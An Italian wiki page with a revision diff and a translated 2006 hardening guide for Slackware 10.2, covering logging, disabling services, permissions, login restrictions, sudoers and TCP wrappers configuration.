Repository 32bit  Forum
Repository 64bit  Wiki

Slackware System Hardening: differenze tra le versioni

Da Slacky.eu.
(/etc/profile)
(Archiviata 10.x - la guida è scritta per 10.2)
 
(2 revisioni intermedie di un utente non mostrate)
Riga 1: Riga 1:
[[Category:Configurazione]]
 
Slackware System Hardening<br>
Slackware System Hardening<br>
Copyright (c) 2002, 2005, 2006 Jeffrey Denton<br>
Copyright (c) 2002, 2005, 2006 Jeffrey Denton<br>
Riga 3 038: Riga 3 037:
# Se un utente non ha la home directory elencata in /etc/passwd,
# Se un utente non ha la home directory elencata in /etc/passwd,
# login is nice enough to set "/" as $HOME
+
# login è sufficientemente gentile da definirli "/" come $HOME
if [ ${HOME} = "/" ]; then
if [ ${HOME} = "/" ]; then
logout
logout
fi
fi
# Kick and lockout users that are UID 0 but are not root
+
# butta fuori e blocca gli utenti che hanno UID 0 e non sono root
if [ `id -u` = "0" -a `echo $USER` != "root" ]; then
if [ `id -u` = "0" -a `echo $USER` != "root" ]; then
# Lock the user out
+
# blocca gli utenti
passwd -l $USER
passwd -l $USER
Riga 3 057: Riga 3 056:
w | mail -s "$USER has gained ROOT access on $HOSTNAME" dentonj@gmail.com
w | mail -s "$USER has gained ROOT access on $HOSTNAME" dentonj@gmail.com
# Let EVERYONE know
+
# rendilo noto a tutti
wall << EOF
wall << EOF
Riga 3 143: Riga 3 142:
export HISTTIMEFORMAT="%F %T "
export HISTTIMEFORMAT="%F %T "
# Logout se un terminale di root non viene utilizzato per un certo periodo
+
# termina la sessione se un terminale di root non viene utilizzato per un certo periodo
if [ `id -u` = "0" ]; then
if [ `id -u` = "0" ]; then
export TMOUT=1200
export TMOUT=1200
Riga 3 155: Riga 3 154:
# shred non cancella in maniera ricorsiva
# shred non cancella in maniera ricorsiva
# use "/bin/rf -rf ..." for directories
+
# use "/bin/rf -rf ..." per le directories
alias rm="shred -uz"
alias rm="shred -uz"
# Disabilita il comando di kill all'interno di bash, ma forza sempre l'uso
# Disabilita il comando di kill all'interno di bash, ma forza sempre l'uso
# di /bin/kill.
# di /bin/kill.
# Questa è una buona idea, ma previene l'uccione di jobs
+
# Questa è una buona idea, ma previene l'uccisione di jobs
#enable -n kill
#enable -n kill
Riga 3 177: Riga 3 176:
export LESSSECURE=1
export LESSSECURE=1
# Quesot funziona per un sistema monoutente se l'intruso che irrompe nel tuo
+
# Questo funziona per un sistema monoutente se l'intruso che irrompe nel tuo
# sistema usa una shell interattiva
# sistema usa una shell interattiva
if [ `id -u` != "0" -o `id -u` != "1000" ]; then
if [ `id -u` != "0" -o `id -u` != "1000" ]; then
Riga 3 184: Riga 3 183:
fi
fi
# definisci Set le variabili seguenti e rendile solo leggibili per evitare che siano gli utenti stessi a settarle
+
# definisci le variabili seguenti e rendile solo leggibili per evitare che siano gli utenti stessi a settarle
export HISTCONTROL=""
export HISTCONTROL=""
export HISTIGNORE=""
export HISTIGNORE=""
Riga 3 191: Riga 3 190:
# DA FARE
# DA FARE
# Setta le variabili di come read only, questa dovrebbe essere l'ultima:
+
# Setta le variabili di shell come read only e con questa dovremmo avere finito:
typeset -r HISTCONTROL
typeset -r HISTCONTROL
typeset -r HISTFILE
typeset -r HISTFILE
Riga 3 223: Riga 3 222:
= Risorse =
= Risorse =
  +
  +
  +
[[Category:Configurazione-10]]

Versione attuale delle 12:19, 21 apr 2011

Slackware System Hardening
Copyright (c) 2002, 2005, 2006 Jeffrey Denton
http://www.cochiselinux.org/files/system-hardening-10.2.txt

Scritto da Jeffrey Denton <dentonj@gmail.com>
2 Settembre 2006
Version - 0.7.1

Questa guida è scritta per:

$ cat /etc/slackware-version
Slackware 10.2.0

Quello che segue è un elenco di alcuni dei passaggi che ho seguito per migliorare la sicurezza dei sistemi su cui uso Slackware. Non vuole assolutamente essere un elenco completo di tutto ciò che è possibile fare. Potrete sia realizzare tutti i suggerimenti riportati in questa guida oppure scegliere solo quelli che riteniate possano aiutarvi a mettere in sicurezza il vostro sistema.

Indice

[modifica] Warning

Effettuare l'hardening di un sistema è un compromesso tra la sicurezza e l'utilizzabilità dello stesso. Alcune delle impostazioni suggerite potrebbero inficiare la facilità di 'utilizzo del vostro sistema, così come danneggiare qualcosa all'interno dello stesso. Tenete a portata di mano, nel caso non riusciate più ad accedere al vostro sistema, almeno uno tra i seguenti:

  • Tom's Rootboot - http://www.toms.net/rb/
  • Il "Live" CD della versione di Slackware che utilizzate
  • I CD di installazione della versione di Slackware che avete installato sulla vostra macchina

Prima di procedere con le indicazioni di seguito riportate si raccomanda di effettuare un backup di tutto ciò che ritenete importante, chè è difficile da ripristinare o di cui semplicemente non potete fare a meno. Se non riuscite a capire che cosa una particolare impostazione o configurazione è deputata a fare, non utilizzatela sul vostro sistema. I contenuti di questo documento sono esclusivamente riferibili per un utilizzo sulla distribuzione Slackware Linux. Alcune delle impostazioni sono ridondate (massima protezione) o possono andare in conflitto fra loro. Siete stati avvisati Uomo avvisato, mezzo salvato .... ;)

[modifica] Note

  • Le impostazioni definite si fondano sull'assunto che sia presente un solo utente sul sistema, "dentonj", modificate come da vostre specifiche esigenze.
  • Al fine di fornire ulteriore informazioni si è ritenuto opportuno riportare il contenuto delle "man pages" associate alle impostazioni riportate.
  • Completerò questo documento se mai ne avrò il tempo.
  • Il documento è da intendersi ancora come bozza essendo presenti diversi TODO.

[modifica] Mantenere il sistema aggiornato

http://www.slackware.com/security/
http://www.slackware.com/lists/

Per iscriversi alla mailing list relativa alla Sicurezza su Slackware, inviare un email a:

 
majordomo@slackware.com

con la frase "subscribe slackware-security" nel corpo della mail.


[modifica] Logging

/etc/rc.d/rc.syslog:

/usr/sbin/syslogd -m 10 -r -h
/usr/sbin/klogd -c 3 -x -p
root@darkstar:~# /etc/rc.d/rc.syslog restart    

L'opzione "-r" abilita il sistema a ricevere i messaggi relativi ai log di sistema dagli hosts remoti. L'opzione "-h" permette al syslog di inoltrare i messaggi che riceve dagli hosts remoti. Questo permette ai messaggi syslog di essere registrati su diversi sistemi, garantendo ridondanza. I messaggi syslog che sono inviati in rete non sono cifrati e possono essere facilmente catturati. Fare attenzione a syslog quando inoltra i "loops" usando le opzioni "-r" e "-h".

Apre la porta UDP 514.

man syslogd
man klogd

/etc/syslog.conf

# Registra tutto su un file
*.*             	- /var/log/messages

# Registra tutto su un Terminal Type (Ctrl-Alt-F12)
*.*			/dev/tty12

# Registra tutto su un sistema che ospita i log
*.*      		@192.168.1.2

# Visualizza le emergenze a tutti quelli che usano wall
*.=emerg		*

# Invia degli alerts direttamente ai terminali degli utenti
*.=alert		root,dentonj
root@darkstar:~# /etc/rc.d/rc.syslog restart
man syslogd
man syslog.conf

/etc/logrotate.conf:

weekly
rotate 26
compress

Assicuratevi di avere sufficiente spazio su disco per immagazzinare 6 mesi di logs. Sarebbe comunque preferibile spostare i logs dal sistema.

    
man logrotate

/etc/logrotate.d/syslog:

/var/log/cron /var/log/debug /var/log/maillog /var/log/messages
/var/log/secure /var/log/spooler /var/log/sulog /var/log/syslog {
	create 0640 root root
        mail dentonj@gmail.com
	mailfirst
	sharedscripts
	postrotate
		/bin/kill -HUP `cat /var/run/syslogd.pid \
		2> /dev/null || true`
	endscript
}
 
man logrotate

/etc/rc.d/rc.S:

# prepara il messaggio file /etc/motd a notificare il kernel:
# QUESTO CANCELLA AD OGNI NUOVO BOOT QUALSIASI CAMBIAMENTO SIA STATO FATTO AL FILE /ETC/MOTD.
# AGGIUNGI IL SEGNO DI COMMENTO ALLA RIGA DI SEGUITO SE VUOI CUSTOMIZZARE IL MESSAGGIO.
# echo "$(/bin/uname -sr)." > /etc/motd
man motd
/etc/motd, /etc/issue.net, /boot/boot_message.txt:

********************************************************************************************************
Sono vietati gli accessi non autorizzati; tutti gli accessi e le attività non esplicitamente autorizzate
dall'amministratore non sono autorizzati. Tutte le attività sono CONTROLLATE e registrate.
Non c'è privacy su questo sistema. Accessi e attività non autorizzati e ogni tipo di attività illecita
sarà segnalata alle autorità preposte.
*********************************************************************************************************

O:

"Sembra che vi siate persi. Per favore ritornate nel vostro piccolo angolo in Internet."
root@darkstar:~# lilo -v -p

Se lilo restituisce degli errori, provate a capire la natura del problema, apportate le necessarie correzioni e rieseguite nuovamente lilo prima di riavviare il sistema. E' importante che lilo non restituisca alcun messaggio di errore prima di eseguire il reboot, altrimenti potreste trovarvi con un sistema che non si avvia in maniera appropriata.

man issue
man motd

/etc/rc.d/rc.local:

# Log icmp packets to syslog
/usr/sbin/icmpinfo -vvv -s -l
man icmpinfo

/sbin/accton:

L'elaborazione degli account è gestita da /etc/rc.d/rc.M. Tuttavia, il relativo file di log non esiste:

root@darkstar:~# touch /var/log/pacct
man ac
man 2 acct
man 5 acct
man accton
man sa
man lastcomm

/etc/rc.d/rc.M:

Incrementare il logging in cron.

/usr/sbin/crond -l7 >> /var/log/cron 2>&1
man crond

/var/log/btmp:

Il file di log btmp registra tutti i tentativi non riusciti di accesso al sistema. Il comando lastb elenca i contenuti del file di log.

root@darkstar:~# touch /var/log/btmp
root@darkstar:~# chmod --reference=/var/log/wtmp /var/log/btmp
root@darkstar:~# chown --reference=/var/log/wtmp /var/log/btmp
root@darkstar:~# ln -s /usr/bin/last /usr/bin/lastb
root@darkstar:~# lastb

Gli utenti che provano a loggarsi inserendo la loro password per prima cosa finiranno per essere registrati in /var/log/btmp. Sarà sufficiente eseguire lastb per ottenere a terminale la lista di questi.

 
man last


[modifica] Disabilitare Servizi/Chiudere Porte

/etc/inetd.conf:

I seguenti servizi sono eseguiti di default:

  • time - TCP port 37
  • time - UDP port 37
  • auth - TCP port 113
  • comsat - UDP port 512

Commentate le righe relative ai servizi di cui non avete necessità.

root@darkstar:~# grep -v "^#" /etc/inetd.conf
man inetd
man in.comsat
man in.identd
man grep

/etc/rc.d/rc.inetd:

root@darkstar:~# /etc/rc.d/rc.inetd stop
root@darkstar:~# chmod a-x /etc/rc.d/rc.inetd
man inetd
man chmod

/usr/X11R6/bin/startx:

defautserverargs="-nolisten tcp"

Chiude la porta TCP 6000+n, dove n è $DISPLAY (l'impostazione di default è 0).

    
man Xserver

/etc/X11/xdm/Xservers:

:0 local /usr/X11R6/bin/X -nolisten tcp

Chiude la porta TCP 6000.

    
man Xserver
man xdm

/etc/X11/xdm/Xaccess:

Assicuratevi che ogni riga sia commentata.

    
man xdm

/etc/rc.d/rc.4:

exec /usr/X11R6/bin/xdm -nodaemon -udpPort 0

Chiude la porta UDP 177.

   
man xdm

/etc/X11/fs/config:

use-syslog = yes
no-listen = tcp

Chiude la porta TCP 7100.

    
man xfs

/etc/rc.d/rc.inet2:

Molti degli scripts rc sono avviati qui. Dallo script si legge:
commenta o elimina il segno di commento alle differenti sezioni, in funzione di quali servizi siano necessari al tuo sito.

Ci sono due modalità per impedire ai demoni e ai servizi di avviarsi. La prima è quella di rendere lo script che avvia il demone o il servizio non eseguibile:

chmod 600 /etc/rc.d/rc.bind

La seconda è quella di commentare le sezioni di questo script che avviano il demone o il servizio:

Righe 100-103:

# Avvia il demone del server dei nomi BIND:
# if [ -x /etc/rc.d/rc.bind ]; then
#   /etc/rc.d/rc.bind start
# fi

E' inoltre possibile utilizzare entrambi i metodi, anche se questo è un sistema ridondante. Tuttavia, impiegare entrambe le possibilità dovrebbe impedire ai demoni dall'avviarsi accidentalmente in fase di avvio in caso facciate degli errori nell'assegnazione dei permessi ad un servizio. Alcuni demoni non si avvieranno di default all'avvio in quanto i loro file di configurazione non sono presenti o non sono scritti correttamente.

Commentare le seguenti righe:

Lines 20 - 53:    Disabilita il montaggio di filesystems NFS
Lines 58 - 60:    Disabilita il sistema di portmapping RPC
Lines 63 - 68:    Disabilita il montaggio di filesystems SMB
Lines 90 - 92:    Disabilita inetd
Lines 101 - 103:  Disabilita BIND
Lines 106 - 108:  Disabilita NIS
Lines 115 - 117:  Disabilita NFS

/etc/rc.d/rc.M:
Commentare le seguenti righe:

Lines 103 - 105:  Disabilita dnsmasq
Lines 108 - 114:  Disabilita CUPS and lpd
Lines 117 - 119:  Disabilita netatalk
Lines 160 - 162:  Disabilita atd
Lines 194 - 196:  Disabilita saslauthd
Lines 199 - 201:  Disabilita sendmail
Lines 205 - 212:  Disabilita APM e ACPI
Lines 230 - 232:  Disabilita HP Officejet 
Lines 235 - 237:  Disabilita MySQL
Lines 240 - 242:  Disabilita Apache
Lines 224 - 226:  Disabilita Samba
Lines 234 - 236:  Disabilita SystemV init scripts

/etc/rc.d/rc.S:
Commentare le seguenti righe:

Lines 16 - 22:    Disabilita hotplug
Lines 39 - 43:    Disabilita udev
Lines 192 - 196:  Disabilita isapnp
Lines 292 - 294:  Disabilita SystemV init scripts

/etc/rc.d/rc.acpid:
Demone relativo agli eventi ACPI (Advanced Configuration and Power Interface)

root@darkstar:~# /etc/rc.d/rc.acpid stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.acpid

Questo demone non apre alcuna porta sul sistema.

/etc/rc.d/rc.alsa:
Architettura avanzata del sistema audio di linux (ALSA Advanced Linux Sound Architecture)

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.alsa

Questo demone non apre alcuna porta sul sistema.

/etc/rc.d/rc.atalk:
AppleTalk

root@darkstar:~# /etc/rc.d/rc.atalk stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.atalk

Chiude la porta TCP 548.

/etc/rc.d/rc.bind:
BIND

root@darkstar:~# /etc/rc.d/rc.bind stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.bind

Chiude le porte TCP 53 e 953.
Chiude le porte UDP 53 e 32768.

/etc/rc.d/rc.cups:
Sistema di stampa UNIX (CUPS Common UNIX Printing System)

root@darkstar:~# /etc/rc.d/rc.cups stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.cups

Chiude le porte TCP e UDP 631.

/etc/rc.d/rc.dnsmasq:
DNSMASQ è un server DHCP e caching DNS

root@darkstar:~# /etc/rc.d/rc.dnsmasq stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.dnsmasq

Chiude le porte TCP e UDP 53.

/etc/rc.d/rc.gpm:
Sistema di mouse generico (GPM General Purpose Mouse)

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.gpm

Questo demone non apre alcuna porta sul sistema.

/etc/rc.d/rc.hotplug:
Scripts di supporto al sistema di hotplugging di Linux

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.hotplug

Questo demone non apre alcuna porta sul sistema.

/etc/rc.d/rc.httpd:
Webserver Apache

root@darkstar:~# /etc/rc.d/rc.httpd stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.httpd

Chiude la porta TCP 80.

/etc/rc.d/rc.inet1:
Configura le interfacce di rete

Effettuare le modifiche in /etc/rc.d/rc.inet1.conf.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.inet1

/etc/rc.d/rc.inetd:
Il demone Internet

root@darkstar:~# /etc/rc.d/rc.inetd stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.inetd

Chiude le porte TCP 37 e 113 (di default).
Chiude le porte UDP 37 e 512 (di default).

/etc/rc.d/rc.mysqld:
Il demone del server MYSQL

Di default, mysqld non è avviato. Leggete il file /etc/rc.d/rc.mysqld per avere i dettagli su come fare per avviare il servizio.

Lo script impedisce di default le connessioni di rete in ingresso con l'opzione "--skip-networking". Se tale opzione è commentata, verrà aperta la porta TCP 3306.

Questo demone non apre alcuna porta di default.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.mysqld

/etc/rc.d/rc.nfsd:
Il demone NFS kfnsd

Di default, questo demone non si avvia in quanto il file /etc/exports non è configurato in maniera appropriata.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.nfsd

/etc/rc.d/rc.portmap:
il portmapper RPC

Questo script è invocato da /etc/rc.d/rc.nfsd. Dal momento che il file /etc/exports non è configurato in maniera appropriata di default, questo servizio non si avvierà.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.rc.portmap

/etc/rc.d/rc.samba:
L'SMB File e Print server di Samba

Di default il servizio non si avvia perchè il file /etc/samba/smb.conf non è presente.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.samba

/etc/rc.d/rc.saslauthd:
Demone di autenticazione con testo in chiaro.

root@darkstar:~# /etc/rc.d/rc.saslauthd stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.saslauthd

/etc/rc.d/rc.sendmail:
Sendmail

root@darkstar:~# /etc/rc.d/rc.sendmail stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.sendmail

Chiude le porte TCP 25 e 587.

/etc/rc.d/rc.sshd:
Il Server Secure Shell

root@darkstar:~# /etc/rc.d/rc.sshd stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.sshd

Chiude la porta TCP 22.

/etc/rc.d/rc.syslog:
Il demone relativo al logging di sistema.

Se l'opzione "-r" è utilizzata, viene aperta la porta UDP 514.

Questo demone di default non apre alcuna porta sul sistema.

root@darkstar:~# chmod 600 /etc/rc.d/rc.syslog

/etc/rc.d/rc.sysvinit:
"Questo file fornisce una compatibilità di base con gli scripts di avvio dello stile SystemV" A meno che non abbiate installato sul vostro sistema un demone che richiede l'utilizzo degli scripts di avvio dello stile SystemV, non c'è bisogno di rendere eseguibile questo script.

root@darkstar:~# chmod 600 /etc/rc.d/rc.sysvinit

/etc/rc.d/rc.udev:
"udev fornisce un indice dei dispositivi dinamico contenente solo i file per i dispositivi effettivamente presenti sul sistema. Udev crea e rimuove i file dei nodi dei dispositivi solitamente localizzati nella directory /dev."

Fa parte del sottosistema hotplug.

Questo demone non apre alcuna porta sul sistema.

root@darkstar:~# chmod 600 /etc/rc.d/rc.udev
man udev

/etc/rc.d/rc.wireless.conf:
Questo file gestisce le impostazioni di configurazione utilizzate da /etc/rc.d/rc.wireless. Esso può contenere chiavi di cifratura in chiaro. Assicurarsi che gli utenti non siano autorizzati a leggere questo file (impostazione di default).

root@darkstar:~# chmod 600 /etc/rc.d/rc.wireless.conf

/etc/rc.d/rc.yp:
Il Servizio di Informazioni di Rete

Il contenuto di questo file è commentato di default.

root@darkstar:~# chmod 600 /etc/rc.d/rc.yp

[modifica] Limitare l'accesso

/etc/rc.d/rc.M:

chmod 1733 /tmp /var/tmp

Questo impedisce agli utenti di leggere il contenuto di tali directory. Al tempo stesso permette loro di continuare a creare, di accedere e di modificare i file presenti in queste directory se conoscono i nomi dei file contenuti all'interno di esse. Questa impostazione non impedisce agli utenti di avviare eseguibili presenti nella directory /tmp.

 
dentonj@darkstar:~$ ls -ld /tmp
drwx-wx-wt  5 root root 4096 2001-06-27 12:54 /tmp/
dentonj@darkstar:~$ cp /bin/date /tmp/test
dentonj@darkstar:~$ /tmp/test
Thu Jun 27 12:55:00 MST 2001
dentonj@darkstar:~$ ls /tmp
ls: /tmp: Permission denied
man chmod

/etc/rc.d/rc.S:

chmod 1733 /tmp/.ICE-unix
chmod 1733 /tmp/.X11-unix

Non lasciate a chiunque accesso in lettura a utmp:

chmod 660 /var/run/utmp
man utmp
man chmod

/etc/lilo.conf:

# mandatory - inserire la password per eseguire il boot del sistema
# limited - richiedere la password solamente quando si vuole effettuare un boot 
# dando un parametro aggiuntivo (ad esempio - "linux single")
# scegli una delle 2 mandatory oppure
# limited

# Utilizza il comando lilo con l'opzione "-p" per memorizzare le hashed password 
# in un file a parte
password=""

prompt
timeout=0
menu-title="Unauthorized Access Prohibited"
message=/boot/boot_message.txt
serial=0,9600n8
root@darkstar:~# lilo -v -p
root@darkstar:~# chmod go-rwx /etc/lilo.conf

Utilizzare l'impostazione 'password=""' e poi lilo con l'opzione '-p' vi richiederà di inserire una parola chiave (password) mentre lilo è in fase di esecuzione. La password è memorizzata sotto forma di hash in /etc/lilo.conf.shs. In realtà la pagina di man di lilo riporta che tale hash è salvato in /etc/lilo.conf.crc. Comunque sia, questo è meglio che avere la password riportata in chiaro all'interno di /etc/lilo.conf. Le opzioni di configurazione sopra riportate richiederanno che sia inserita una password ogni qual volta il sistema si avvia. Potreste non voler utilizzare l'opzione "mandatory" nel caso in cui l'uptime del sistema sia importante o quando normalmente accedete al sistema da remoto. In questi casi, utilizzate invece l'opzione "restricted".

man lilo
man lilo.conf

/etc/login.access:

+:root dentonj:LOCAL
-:ALL:ALL

Solo l'utente root e l'utente dentonj possono effettuare il login locale al sistema. Questa impostazione non limita l'accesso da remoto al sistema tramite ssh.

Messaggio d'errore restituito: "Login incorrect"

    
man login.access

/etc/login.defs:

FAIL_DELAY		20
DIALUPS_CHECK_ENAB	no
LOG_UNKFAIL_ENAB	yes
LOG_OK_LOGINS		yes
SULOG_FILE		/var/log/sulog
ISSUE_FILE		/etc/issue
#HUSHLOGIN_FILE
PASS_MAX_DAYS		90
PASS_MIN_LEN		12
CHFN_RESTRICT		frwh
DEFAULT_HOME		no
#ENVIRON_FILE
#NO_PASSWORD_CONSOLE	null
GETPASS_ASTERISKS	5
 
root@darkstar:~# touch /var/log/sulog
man login.defs
man dpasswd

/etc/suauth:

ALL:ALL EXCEPT dentonj:DENY

O:

ALL:ALL EXCEPT GROUP wheel:DENY	
root@darkstar:~# usermod -g users -G wheel dentonj
root@darkstar:~# chmod go-rwx /etc/suauth

Solo l'utente dentonj è autorizzato a "passare" ad altri utenti. O, solo i membri del gruppo wheel possono switchare su altri utenti.

Messaggio d'errore restituito: "Access to su to that account DENIED." "You are not authorized to su root"

man suauth

/etc/porttime:

tty1,tty2,tty3,tty4,tty5,tty6:root,dentonj:Al0000-2400
*:*:
root@darkstar:~# chmod go-rwx /etc/porttime

Il terzo campo specifica le finestre temporali in cui è permesso il login al sistema. Se il campo non è impostato, l'utente è impossibilitato a effettuare il login al sistema. L'opzione "*:*:" rappresenta una regola di divieto di default finalizzata a registrare tutti coloro i quali non sono ancora registrati. Il terzo campo riporta i tempi nei quali un utente è autorizzato ad effettuare il login. Se tale campo è vuoto, all'utente non è permesso accedere al sistema.

Il demone logoutd è di solito eseguito al fine di rafforzare le restrizione ai tempi di login elencati in /etc/porttime.

Messaggio d'errore restituito: "Invalid login time"

man porttime

/etc/rc.d/rc.local:

# rinforzare le restrizioni di tipo temporale di login definite in /etc/porttime
if [ -x /usr/sbin/logoutd ]; then
    /usr/sbin/logoutd
fi
man logoutd

/etc/limits:

dentonj C0L1
* L0
root@darkstar:~# chmod go-rwx /etc/limits

L'impostazione "* LO" è una regola di default per tutti quelli che non sono stati precedentemente elencati come utenti. Il numero dei login permessi al sistema è impostato a zero, ciò significa che chiunque non preventivamente registrato, non è autorizzato ad effettuare il login. Queste impostazioni non sono riferibili all'utente root.

Messaggio d'errore restituito: "Too many logins."

man limits

/etc/shells:
Permettere agli utenti di eseguire diverse shell può permettere loro di bypassare le restrizioni di sicurezza impostate sulla loro shell di login (ndr. in Slackware di default la bash).

Eliminare i seguenti file:

  • /bin/ash
  • /bin/csh
  • /bin/ksh
  • /bin/tcsh
  • /bin/zsh
root@darkstar:~# removepkg ash
root@darkstar:~# removepkg ksh93
root@darkstar:~# removepkg tcsh
root@darkstar:~# removepkg zsh
man shells

/usr/sbin/faillog:

root@darkstar:~# faillog -u dentonj -m 10
root@darkstar:~# faillog -a

Non impostare il faillog per l'utente root. E' una delle poche impostazioni che può effettivamente impedire a tale utente di effettuare il login. L'utilizzo di faillog può causare un denial of service nel caso in cui venisse raggiunto il massimo numero di login. Utilizzare con attenzione.

Messaggio d'errore restituito: "Login incorrect"

man faillog

/etc/passwd:
Rimuovere gli account inutilizzati.

root@darkstar:~# find / -user adm -ls
root@darkstar:~# userdel adm

Ripetere la procedura per gli altri account:

  • adm
  • games
  • gdm
  • lp
  • news
  • operator
  • pop
  • rpc
  • uucp

Gli account "halt" e "shutdown" non sono operativi di default. L'account "sync" non è necessario.

root@darkstar:~# su halt
halt: must be superuser.
root@darkstar:~# su shutdown
shutdown: you must be root to do that!
rooot@darkstar:~# userdel halt
root@darkstar:~# userdel shutdown
root@darkstar:~# userdel sync

Aggiungere /bin/false come shell ai seguenti utenti:

bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
mail:x:8:12:mail:/:/bin/false
ftp:x:14:50::/home/ftp:/bin/false
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
sshd:x:33:33:sshd:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false

Messaggio d'errore restituito:

darkstar login: test
Password: *************************
Linux 2.4.32
Last login: Wed Jun 27 20:23:42 -0700 2001 on tty2
No mail.

Welcome to Linux 2.4.32 (tty2)

darkstar login:

Durata della password:

Nota: Non utilizzate questa procedura se volete mantenere immutati i file /etc/passwd e /etc/shadow (chattr +i ...). Se lasciate la password scadere non sarete più in grado di effettuare il login sino a quando la password non sarà resettata. Ma se il file /etc/shadow non è modificabile non sarete più in grado di efettuare il login. Per rimediare al problema occorre che avviate il sistema con tomsrtbt o con un CD di avvio di Linux, montiate la partizione del disco fisso dove si trova la directory /etc e rimuoviate l'attributo di immutabilità dal file mnt/etc/shadow (chattr -i...)

root@darkstar:~# passwd -x 90 -w 7 root
root@darkstar:~# passwd -x 90 -w 7 -i 30 dentonj
root@darkstar:~# for i in `cat /etc/passwd | awk -F: '{print $1}'`; do
> passwd -S $i
> done
root@darkstar:~# pwck
man 1 passwd
man 5 passwd
man find
man userdel
man false
man pwck

/etc/group:

root@darkstar:~# find / -group adm -ls
root@darkstar:~# groupdel adm

Ripetete questi comandi per i gruppi seguenti:

  • adm
  • lp
  • news
  • pop
  • uucp
root@darkstar:~# grpck

La rimozione degli account può creare un lungo elenco di file che non appartengono più ad alcun utente o gruppo. Per sapere quali sono questi file potete usare il comando seguente:

root@darkstar:~# find / -nouser -o -nogroup -ls > unowned.out

Per cambiare il proprietario a questi file:

root@darkstar:~# find / -nouser -o -nogroup -exec chown root.root {} \;
man group
man find
man groupdel
man grpck
man chown

/etc/sudoers:

Defaults rootpw
Defaults ! root_sudo
Defaults ignore_dot
Defaults tty_tickets
Defaults requiretty
Defaults path_info
Defaults noexec
%wheel ALL=(ALL) ALL
root@darkstar:~# groups dentonj
root@darkstar:~# usermod -g users -G wheel dentonj

Esistono diverse problematiche di sicurezza quando si permette agli utenti di utilizzare il comando sudo. Assicuratevi di aver letto completamente le pagine di manuale relative a sudo e sudoers.

Esistono tipicamente due approcci per la configurazione di sudo. Il primo è quello di permettere all'utente di eseguire ogni comando. Questo equivale praticamente a concedere agli utenti un accesso a root come super user (su). Se decidete di utilizzare questa modalità, dovreste richiedere all'utente l'inserimento della password di root ogniqualvolta utilizza sudo. Due password sarebbero quindi necessarie per ottenere i privilegi di root.

Il secondo approccio è quello di configurare sudo in modo tale da permettere l'esecuzione solo di un numero limitato di comandi. Se decidete di utilizzare questa modalità, ci saranno alcuni comandi che non vorrete permettere di eseguire all'utente. Assegnare all'utente pieno accesso al sistema tramite l'esecuzione di su può essere pericoloso per la stabilità e l'integrità del sistema. Assicuratevi di non aggiungere i seguenti comandi o quelli elencati nella sezione riportata più oltre e denominata "Scorciatoie della Shell" al file /etc/sudoers:

/bin/cat
/bin/chmod
/bin/chown
/bin/cpio
/bin/mount
/bin/rpm
/bin/tar
/sbin/installpkg
/usr/bin/env
/usr/sbin/useradd
/usr/sbin/usermod

Questo elenco potrebbe essere molto più lungo.

man sudo
man sudoers
man visudo
man groups
man usermod

/etc/ftpusers:
Questo file è utilizzato per impedire a tutti coloro in esso elencati il login al server ftp locale. Aggiungete i seguenti account:

  • bin
  • daemon
  • mail
  • smmsp
  • mysql
  • sshd
  • nobody

Aggiungete tutti gli account di sistema presenti in /etc/passwd.

    
man ftpusers

/etc/host.conf:

nospoof on
spoofalert on
spoof warn
man host.conf

/etc/hosts.allow:
TCP Wrappers

all:local:banners /etc/banners:allow
sshd:192.168.1.:banners /etc/banners:allow
sendmail:all:banners /etc/banners:allow
all:paraniod:spawn /usr/bin/logger "%d deny paraniod %c %p %a %h %u" \
   :banners /etc/banners:deny
all:all:spawn /usr/bin/logger "%d deny %c %p %a %h %u" \
   :banners /etc/banners:deny

Dalle pagine di man di hosts_options:

banners /una/directory Cercate un file all'interno di '/una/directory' avente lo stesso nome del processo relativo al demone (per esempio in.telnetd per il servizio telnet) e copiare il suo contenuto sul client

Se utilizzate qualcuno dei servizi elencati di seguito, assicuratevi di aggiungere una regola del tipo "permetti" a ognuno. Se desiderate un banner diverso per un particolare servizio, cancellate il link simbolico e create un file di testo con lo stesso nome.


root@darkstar:~# mkdir /etc/banners && cd /etc/banners
root@darkstar:/etc/banners# ln -s ../issue.net afpd
root@darkstar:/etc/banners# ln -s ../issue.net imapd
root@darkstar:/etc/banners# ln -s ../issue.net in.identd
root@darkstar:/etc/banners# ln -s ../issue.net in.rexecd
root@darkstar:/etc/banners# ln -s ../issue.net in.rlogind
root@darkstar:/etc/banners# ln -s ../issue.net in.rshd
root@darkstar:/etc/banners# ln -s ../issue.net in.telnetd
root@darkstar:/etc/banners# ln -s ../issue.net popa3d
root@darkstar:/etc/banners# ln -s ../issue.net proftpd
root@darkstar:/etc/banners# ln -s ../issue.net sendmail
root@darkstar:/etc/banners# ln -s ../issue.net sshd
root@darkstar:/etc/banners# ln -s ../issue.net stunnel
root@darkstar:/etc/banners# ln -s ../issue.net vsftpd

Di seguito un comando che può essere utilizzato per determinare quali demoni utilizzano i wrappers TCP:

root@darkstar:~# cd /usr/sbin; for i in `ls | grep -v "@$"`; do \
echo "   $i"; strings $i | grep hosts.allow; done | less

Per verificare le impostazioni di /etc/hosts.allow:

root@darkstar:~# tcpdchk
root@darkstar:~# tcpdmatch sshd localhost
root@darkstar:~# tcpdmatch sshd 1.1.1.1
root@darkstar:~# tcpdmatch sshd 192.168.1.1
man tcpd
man 5 hosts_access
man hosts_options
man tcpdchk
man tcpdmatch

/etc/hosts.deny:
